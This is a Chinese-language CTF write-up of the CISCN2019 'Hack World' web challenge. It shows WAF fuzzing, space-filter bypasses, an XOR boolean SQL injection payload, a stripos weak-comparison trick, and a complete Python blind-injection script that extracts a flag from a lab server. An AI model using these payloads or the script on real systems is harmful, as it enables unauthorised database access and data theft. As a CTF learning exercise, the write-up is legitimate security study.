20210926

[CISCN2019 华北赛区 Day2 Web1]Hack World

先贴一篇文章,讲的比较好,关于mysql注入的

https://www.anquanke.com/post/id/85936

这个题呢,最终就是直接跑脚本

测试1,2会返回两个语句,测试2-1返回1的语句,是数字型注入,然后union发现有waf,fuzz获取过滤的字段,这里学会了怎么用bp进行fuzz,以及fuzzdb这个仓库

正确的方法是先利用if语句,实现布尔注入。利用括号来绕过空格的过滤。经过测试,用TAB或者%09%0a%0d之类这样的绕过方式也可以成功绕过空格。

sql的三目运算

if( 表达式1,表达式2,表达式3)

如果表达式1是正确的,那么执行表达式2,否则执行表达式3

或者异或注入

0^(ascii(substr((select(flag)from(flag)),1,1))>1)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests

url = 'http://4cf19355-75e2-47ba-b522-4ed93121403f.node4.buuoj.cn:81/index.php'

data = {
'id': '2'
}


headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0',
'Origin': 'http://4cf19355-75e2-47ba-b522-4ed93121403f.node4.buuoj.cn:81',
'Referer': 'http://4cf19355-75e2-47ba-b522-4ed93121403f.node4.buuoj.cn:81/index.php'
}

r = requests.session()
flag = ''
for i in range(1, 50):
for j in '-{abcdefghijklmnopqrstuvwxyz0123456789}':
sqls = f"if(ascii(substr((select(flag)from(flag)),{i},1))=ascii('{j}'),1,2)"
data = {
'id': sqls
}
res = r.post(url=url, data=data, headers=headers)
if 'Hello' in res.text:
flag += j
print(flag)
break

看到https://blog.csdn.net/rfrder/article/details/109263584这个大佬想到了stripos的漏洞

这时候想到stripos函数的一个漏洞。如果没有找到的话返回的是false,如果找到了但是是在字符串的首位,返回的是0。如果后端用了弱类型比较的话,0==false,这样后面就可以使用被过滤的某一个字符串了

进行尝试,

首先id=1union:

SQL Injection Checked.

再试试id=union1union:

bool(false)

如果这个题目把括号,tab,以及各种可以充当空格的都给过滤了的话,就用这种方法来绕过空格的过滤。

不过不知道为啥,每次跑出的flag都不一样,呃呃呃,然后都不能过。。。

1
2
3
4
flag{d9a6fbce43f97d2164f1b3e}
flag{d95e7a6fc1e43f7d164f414b}
flag{d9e7a6fc1e43f7d214f41b3e}
flag{d956fce443f9f57d14f414b}

原来是’-‘被过滤了,测试到-的时候会返回sql注入

服务器出了点小意外,不能push了,cpu给爆了,不知道为啥。。